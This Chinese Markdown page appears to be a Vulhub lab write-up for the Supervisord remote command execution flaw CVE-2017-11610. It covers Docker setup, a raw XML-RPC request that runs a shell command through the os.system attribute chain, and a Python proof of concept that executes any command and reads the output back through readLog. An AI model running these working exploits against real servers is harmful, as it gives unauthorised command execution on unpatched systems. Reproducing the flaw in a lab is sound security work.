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97 lines
2.8 KiB
Markdown
97 lines
2.8 KiB
Markdown
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# Supervisord 远程命令执行漏洞 CVE-2017-11610
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## 漏洞描述
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Supervisord是一款Python开发，用于管理后台应用（服务）的工具，其角色类似于Linux自带的Systemd。
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参考链接：
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- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
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- https://blogs.securiteam.com/index.php/archives/3348
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- https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
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## 环境搭建
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Vulhub执行以下命令启动环境：
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```
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docker-compose build
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:9001`即可查看Supervisord的页面。
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**启动时遇到错误exec user process caused "no such file or directory"的解决方法 **
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可能遇到如下错误：
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错误原因：
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`docker-entrypoint.sh`中最后一行的结束符成了`\r\n` 导致Docker镜像中的Linux Shell脚本文件无法执行。Linux/Mac的结束符是`\n`，所以Shell解释器会将脚本文件中的`\r`作为命令行的一部分来执行。这就是出现 “no such file or directory” 的原因。
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解决方式：
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通过`dos2unix docker-entrypoint.sh`命令将其转换成为unix格式文件。
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## 漏洞复现
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直接执行任意命令：
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```
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POST /RPC2 HTTP/1.1
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Host: your-ip:9001
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 213
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<?xml version="1.0"?>
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<methodCall>
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<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
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<params>
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<param>
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<string>touch /tmp/awesome_poc</string>
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</param>
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</params>
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</methodCall>
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```
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命令`touch /tmp/awesome_poc`执行成功：
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### 关于直接回显的POC
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@Ricter 在微博上提出的一个思路，甚是有效，就是将命令执行的结果写入log文件中，再调用Supervisord自带的readLog方法读取log文件，将结果读出来。
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写了个简单的POC： [poc.py](https://github.com/vulhub/vulhub/blob/master/supervisor/CVE-2017-11610/poc.py)，直接贴出来吧：
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```python
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#!/usr/bin/env python3
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import xmlrpc.client
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import sys
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target = sys.argv[1]
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command = sys.argv[2]
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with xmlrpc.client.ServerProxy(target) as proxy:
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old = getattr(proxy, 'supervisor.readLog')(0,0)
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logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
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getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
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result = getattr(proxy, 'supervisor.readLog')(0,0)
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print(result[len(old):])
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```
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使用Python3执行并获取结果：`./poc.py "http://your-ip:9001/RPC2" "command"`：
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